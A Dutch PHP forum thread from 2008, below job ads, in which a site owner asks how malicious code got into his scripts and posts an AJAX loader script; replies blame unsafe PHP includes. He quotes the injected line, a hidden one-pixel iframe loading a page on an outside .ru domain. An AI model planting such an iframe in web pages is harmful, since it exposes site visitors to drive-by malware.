Beveiligings issue

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Back-end programmeur

Functieomschrijving Heb jij kort geleden jouw HBO ICT diploma in ontvangst mogen nemen? Of ben je toe aan een nieuwe uitdaging? Voor een uitdagende werkgever in omgeving Waalwijk zijn wij op zoek naar een enthousiaste softwareontwikkelaar met kennis of ervaring met C# en SQL. In een uitdagende rol als C#.NET Developer werk je samen met een enthousiast en informeel team aan het bouwen van maatwerk software voor variërende klanten. Verder ziet jouw takenpakket er als volgt uit: Je draagt bij aan de implementatie van aanpassingen, verbeteringen en aanvullingen in de C# based applicaties; Je houdt je bezig met het ontwikkelen

Bekijk vacature »

Fullstack JavaScript developer (ReactJS, NodeJS, T

Functie Het team bestaat momenteel uit ruim 15 collega’s, waarvan ruim de helft in het ontwikkelteam werkzaam is. Er zijn gave plannen om het platform ook te gaan toepassen op bijv. vliegvelden, maar ook internationale groei zit in het verschiet en daarom zijn ze op zoek naar versterking. Als Fullstack JavaScript developer werk je nauw samen met 9 fullstack (Python en .NET) developers. Binnen het team ga jij je toespitsen op het creeren van de optimale toegankelijkheid en user experience. Om dit voor elkaar te krijgen zul je ontwerpen, programmeren, testen en implementeren. Het hele proces dus! Maar ook bijvoorbeeld

Bekijk vacature »

Oracle APEX developer

Wat je gaat doen: Als Oracle APEX ontwikkelaar bij DPA werk je samen met collega’s aan de meest interessante opdrachten. Je zult je ervaring met SQL, PL/SQL, JavaScript, HTML en CSS inzetten om wensen van opdrachtgevers te vertalen naar technische oplossingen. Je werk is heel afwisselend, omdat DPA zich niet beperkt tot een specifieke branche. Zo ben je de ene keer bezig binnen de zorgsector, de andere keer is dit bij de overheid. Wat we vragen: Klinkt goed? Voor deze functie breng je het volgende mee: Je hebt een hbo- of universitaire opleiding afgerond Je hebt 2 tot 5 jaar

Bekijk vacature »

PHP Developer

Dit ga je doen Je werkt nauw samen met het websitebureau aan de ontwikkeling en optimalisering van het internationale platform; Je ziet nieuwe webshops op en voert optimalisaties door; Je bouwt aan technische, functioneel en commercial resultaat; Je vindt het leuk om zelfstandig binnen een internationale organisatie te werken, maar krijgt ook energie om samen met collega's te werken. Hier ga je werken Voor een bedrijf in de regio Rotterdam zijn wij opzoek naar een PHP Developer. Je wordt onderdeel van het communicatieteam en gaat je bezighouden met het optimaliseren van de website van dit internationale bedrijf. Je schakelt veel

Bekijk vacature »

Software Developer

Dit ga je doen Je bent verantwoordelijk voor de warehouse applicatie die een integratie heeft met de PLC laag; Je ontwikkelt in C#/.Net; Je bent verantwoordelijk voor het ontwikkelen van interfaces en het visualiseren van componenten; Je denkt mee over het design voor business oplossingen; Je bent verantwoordelijk voor het testen van de gebouwde oplossing. Hier ga je werken Voor een internationale organisatie in de transport zijn wij momenteel op zoek naar een Software Developer. Ze zijn wereldwijd de grootste speler en lopen voorop met het automatiseren van alle processen van de warehouses. Op dit moment wordt er nog gebruik

Bekijk vacature »

.NET developer

Functie Als .NET ontwikkelaar ga jij aan de slag bij een van onze klanten actief in de High Tech Industrie. Onze klanten zijn voornamelijk gelokaliseerd in de omgeving van Eindhoven. Wij zijn erg selectief als het gaat om de projecten die wij accepteren en richten ons dan ook alleen op innovatieve en complexe projecten. Omdat onze klanten voornamelijk gespecialiseerd zijn in de machinebouw, werk jij ook vaak dicht tegen de machines aan. Ons team bestaat momenteel uit Embedded engineers, IOT developers en Cloud engineers. Wij werken voornamelijk aan Microsoft projecten waar er gebruik wordt gemaakt van WPF, UWP, .NET Core

Bekijk vacature »

.NET Software Developer

Dit ga je doen Als .NET Software Developer zul jij je voornamelijk bezig houden met: Het van scratch af aan bouwen van applicaties (.NET, C#, Bootstrap, KnockoutJs en WebAPI2); Het testen van jouw code d.m.v. het uitvoeren van unittesten; Het oplossen van bugs in de code; Het onderhouden van contact met collega's betreffende de door jouw ontwikkelde applicaties; Het verbeteren en doorontwikkelen van maatwerkapplicaties. Hier ga je werken Jij gaat aan de slag als .NET Software Developer en gaat je focussen op het bedenken, ontwikkelen en testen van maatwerkapplicaties in voornamelijk C#. Dit ga je doen bij een grote, internationale

Bekijk vacature »

Database Developer

Functieomschrijving Heb jij ongeveer 3 jaar ervaring als Database Developer met MS SQL of een vergelijkbare database? Wil jij werken voor een ambitieuze werkgever in regio Tilburg waar jij volledig de mogelijkheid krijgt jezelf te ontwikkelen? Lees dan snel verder! Hoe ziet jouw takenpakket eruit? Je gaat projecten gedurende het hele proces begeleiden. Je sluit aan bij afspraken met klanten om hun processen helder te krijgen. Vervolgens voer jij het project uit en zorgt dat dit zo goed mogelijk verloopt; Je werkt aan nieuwe softwareoplossingen die de logistieke processen verbeteren of vernieuwen; Je houdt je bezig met het ontwikkelen van

Bekijk vacature »

Klein team zoekt grote fullstack .NET developer to

Bedrijfsomschrijving Deze werkgever is marktleider in de Benelux en is Europees ook al aardig aan de weg aan het timmeren. Ze voorzien technische winkels van apparatuur om producten een langer leven te geven. Hiermee reduceren ze flink wat CO2 uitstoot en dat is natuurlijk goed voor iedereen! IT speelt een belangrijke rol in de bedrijfsvoering en de applicaties zijn van goed niveau. Als fullstack .NET developer ga jij je bijdrage leveren aan het verder verbeteren van de applicaties en de interne processen. Ze zijn nu met ruim 50 medewerkers in totaal en de afdeling development bestaat uit een 5tal developers.

Bekijk vacature »

.NET Developer Shared Driving

Bedrijfsomschrijving Onze klant richt zich op het toegankelijker maken van steden, een fantastisch mooi streven. Hoe ze dat doen? Met eigen ontwikkelde software, waarmee vervoersmiddelen gedeeld kunnen worden. Deze inspirerende werkgever maakt een maatschappelijke impact en dat doen ze nu al zo'n 25 jaar! Het bedrijf is gevestigd in het centrum van Rotterdam en kent ongeveer zo'n 90 medewerkers. Het personeel is lekker gewoon gebleven! Iedereen kleedt zich zoals hij of zij dat zou willen en de sfeer is er erg fijn. Een leuke werkgever om voor te werken, en bovendien zijn er voor jou als Software Developer veel mooie

Bekijk vacature »

Ontwikkelaar Centrale Monitoring

Ontwikkelaar centrale Monitoring Functieomschrijving Wil jij een bijdrage leveren aan het onderhoud, opzetten en ontwikkelingen van technologieën van SSC-ICT, een van de grootste ICT-dienstverleners van en voor de Rijksoverheid? Je komt als monitorspecialist te werken bij team Operations Management Services. Dit team werkt aan het stabiliseren en waarborgen van een betrouwbare monitoromgeving voor 7 ministeries. Jij begeleidt het implementatieproces van de te monitoren technologieën, onder andere via management packs, connectoren en API's. Je hebt hiervoor veel contact met interne en externe klanten, die hun wensen op het gebied van monitoring aan jou doorgeven. Je beoordeelt deze wensen en komt met

Bekijk vacature »

(Junior) Back-end Ontwikkelaar

Functie omschrijving We are looking for a dutch native speaker Altijd al willen werken bij een organisatie, die maatwerk applicaties bouwt, die echt impact hebben in de maatschappij? Dit is je kans. Voor een kleine organisatie in de regio van Eindhoven ben ik op zoek naar een C# Ontwikkelaar. Jij gaat aan de slag met de ontwikkeling van maatwerk software en applicaties. Deze organisatie werkt voor grote organisaties in Nederland, maar ook voor het MKB. De projecten waar je aan gaat werken zijn erg divers, waardoor je werk uitdagend blijft en je erg veel kan leren. Verder ga je aan

Bekijk vacature »

PHP Developer

Functie omschrijving Voor een bedrijf in Den Bosch zoek ik een PHP Developer, die al wat werkervaring heeft. Jij gaat aan de slag met de verdere professionalisering van de interne applicaties en software. In de functie ga je verder: Verdere ontwikkeling eigen CRM systeem, vooral middels PHP; Bouwen van verschillende API's & koppelingen; Meedenken om de software/applicaties te verbeteren/optimaliseren; Aan de slag met de interne tooling. Bedrijfsprofiel Dit bedrijf is actief binnen de telecombranche. Het hoofdkantoor zit in regio van Den Bosch en er werken ruim 70 medewerkers, verdeeld over verschillende afdelingen. De afdeling Development bestaat uit vijf collega's, onder

Bekijk vacature »

C++ Ontwikkelaar

Functieomschrijving Ben jij als software ontwikkelaar toe aan een nieuwe uitdaging? Dan zoeken wij jou! Voor het maken van de procesbesturingssoftware gebruiken onze projectteams een in C++ en C# geschreven tool. Dit is een gedistribueerd object framework wat alle kernfuncties biedt voor een procesautomatisering. Verder zullen jouw werkzaamheden o.a. bestaan uit: Ontwerpen, programmeren en testen van product aanpassingen; Analyseren van vragen en wensen van gebruikers en deze vertalen naar een functioneel ontwerp; Inzichtelijk maken van voortgang omtrent softwarewerkzaamheden, o.a. door middel van SCRUM; Continu toetsen van het effect van nieuwe releases op andere tools en processen; Implementeren van nieuwe product

Bekijk vacature »

Oracle APEX developer

Wat je gaat doen: Als Oracle APEX ontwikkelaar bij DPA werk je samen met collega’s aan de meest interessante opdrachten. Je zult je ervaring met SQL, PL/SQL, JavaScript, HTML en CSS inzetten om wensen van opdrachtgevers te vertalen naar technische oplossingen. Je werk is heel afwisselend, omdat DPA zich niet beperkt tot een specifieke branche. Zo ben je de ene keer bezig binnen de zorgsector, de andere keer is dit bij de overheid. Wat we vragen: Klinkt goed? Voor deze functie breng je het volgende mee: Je hebt een hbo- of universitaire opleiding afgerond Je hebt 2 tot 5 jaar

Bekijk vacature »
Sander b

sander b

02/08/2008 21:18:00
Quote Anchor link
Hallo allemaal,

Sinds een aantal maanden gebruik ik wat simpele OOP scriptjes die ik gevonden heb op dynamic drive. Het volgende verbazende probleem deed zich voor; op mijn site werd een virus geconstateerd door Avast.

Na wat doorzoeken van de scripts blijkt een "cracker" een code in mijn scripts geplaatst te hebben dat een website opent;
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
<body><iframe width=1 height=1 border=0 frameborder=0 src="http://wfrules.ru/rotate/index.php"></iframe>


Dit brengt de volgende vragen met zich mee; hoe hebben ze dit kunnen doen? Kan dit door ajax te gebruiken gebeuren? Hoe stel ik mijn website in veiligheid hiertegen?

Weet iemand dit te beantwoorden?

Alvast bedankt:)
 
PHP hulp

PHP hulp

27/05/2026 02:13:17
 
--

--

02/08/2008 21:21:00
Quote Anchor link
Misschien is dat gekomen door onveilig includen..?
 

02/08/2008 21:22:00
Quote Anchor link
Welk scriptje is het?
 
Sander b

sander b

02/08/2008 21:23:00
Quote Anchor link
En wat is onveilig includen precies?
 

02/08/2008 21:26:00
Quote Anchor link
Zie ook dit.
 
Sander b

sander b

02/08/2008 21:28:00
Quote Anchor link
Het is een behoorlijk groot script;

De code waarmee ik het aanroep
onMouseOver="ajax_loadContent('contentarea_z','uitleg.php?u=home');return false"

De code waarin ik het laad

<div id="contentarea_z" class="fl_14_pre">
</div>

De JS van DHTMLgoodies (mijn excuses, niet dynamic drive)

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
var enableCache = true;

var jsCache = new Array();



var dynamicContent_ajaxObjects = new Array();



function ajax_showContent(divId,ajaxIndex,url)

{

    var targetObj = document.getElementById(divId);

    targetObj.innerHTML = dynamicContent_ajaxObjects[ajaxIndex].response;

    if(enableCache){

        jsCache[url] =     dynamicContent_ajaxObjects[ajaxIndex].response;

    }

    dynamicContent_ajaxObjects[ajaxIndex] = false;

    

    ajax_parseJs(targetObj)

}



function ajax_loadContent(divId,url)

{

    if(enableCache && jsCache[url]){

        document.getElementById(divId).innerHTML = jsCache[url];

        ajax_parseJs(document.getElementById(divId))

        evaluateCss(document.getElementById(divId))

        return;

    }

    

    var ajaxIndex = dynamicContent_ajaxObjects.length;

    document.getElementById(divId).innerHTML = 'Loading content - please wait';

    dynamicContent_ajaxObjects[ajaxIndex] = new sack();

    

    if(url.indexOf('?')>=0){

        dynamicContent_ajaxObjects[ajaxIndex].method='GET';

        var string = url.substring(url.indexOf('?'));

        url = url.replace(string,'');

        string = string.replace('?','');

        var items = string.split(/&/g);

        for(var no=0;no<items.length;no++){

            var tokens = items[no].split('=');

            if(tokens.length==2){

                dynamicContent_ajaxObjects[ajaxIndex].setVar(tokens[0],tokens[1]);

            }    

        }    

        url = url.replace(string,'');

    }



    

    dynamicContent_ajaxObjects[ajaxIndex].requestFile = url;    // Specifying which file to get

    dynamicContent_ajaxObjects[ajaxIndex].onCompletion = function(){ ajax_showContent(divId,ajaxIndex,url); };    // Specify function that will be executed after file has been found

    dynamicContent_ajaxObjects[ajaxIndex].runAJAX();        // Execute AJAX function    

    

    

}



function ajax_parseJs(obj)

{

    var scriptTags = obj.getElementsByTagName('SCRIPT');

    var string = '';

    var jsCode = '';

    for(var no=0;no<scriptTags.length;no++){    

        if(scriptTags[no].src){

            var head = document.getElementsByTagName("head")[0];

            var scriptObj = document.createElement("script");

    

            scriptObj.setAttribute("type", "text/javascript");

            scriptObj.setAttribute("src", scriptTags[no].src);      

        }else{

            if(navigator.userAgent.toLowerCase().indexOf('opera')>=0){

                jsCode = jsCode + scriptTags[no].text + '\n';

            }

            else

                jsCode = jsCode + scriptTags[no].innerHTML;    

        }

        

    }



    if(jsCode)ajax_installScript(jsCode);

}





function ajax_installScript(script)

{        

    if (!script)

        return;        

    if (window.execScript){            

        window.execScript(script)

    }else if(window.jQuery && jQuery.browser.safari){ // safari detection in jQuery

        window.setTimeout(script,0);

    }else{            

        window.setTimeout( script, 0 );

    }

}    

    

    

function evaluateCss(obj)

{

    var cssTags = obj.getElementsByTagName('STYLE');

    var head = document.getElementsByTagName('HEAD')[0];

    for(var no=0;no<cssTags.length;no++){

        head.appendChild(cssTags[no]);

    }    

}
 

02/08/2008 21:31:00
Quote Anchor link
Nou, daar ligt het niet aan. Het ligt aan jou php. Oh, en je had wel een link naar dat scriptje mogen doen hoor, dat had je hier helemaal niet hoeven plaatsen.
Gewijzigd op 01/01/1970 01:00:00 door
 
Sander b

sander b

02/08/2008 21:33:00
Quote Anchor link
Oke, dus include (wat ik regelmatig doe) is gevaarlijk? Hoe kan ik veilig includen?

Bedankt voor het helpen trouwens:)
 
Sander b

sander b

02/08/2008 21:34:00
Quote Anchor link
Trouwens, sorry voor dat hele script, maar mijn website is oppeens offline nadat ik de hele public html heb leeg gemaakt als map. Heb ik iets doms gedaan? Of is dit toevallig.

En ik bedoel dus de hele server valt niet te bereiken:p niet dat mijn index niet geladen kan worden want dat lijkt mij inderdaad wel logisch.
'Niet:
Twee of meer keer achter elkaar in een topic posten heet bumpen. Bumpen is pas na 24 uur toegestaan en kan een reden zijn voor de admins en moderators om een topic te sluiten. Gebruik indien nodig de Afbeelding knop om je tekst aan te passen.

SanThe.
Gewijzigd op 01/01/1970 01:00:00 door sander b
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.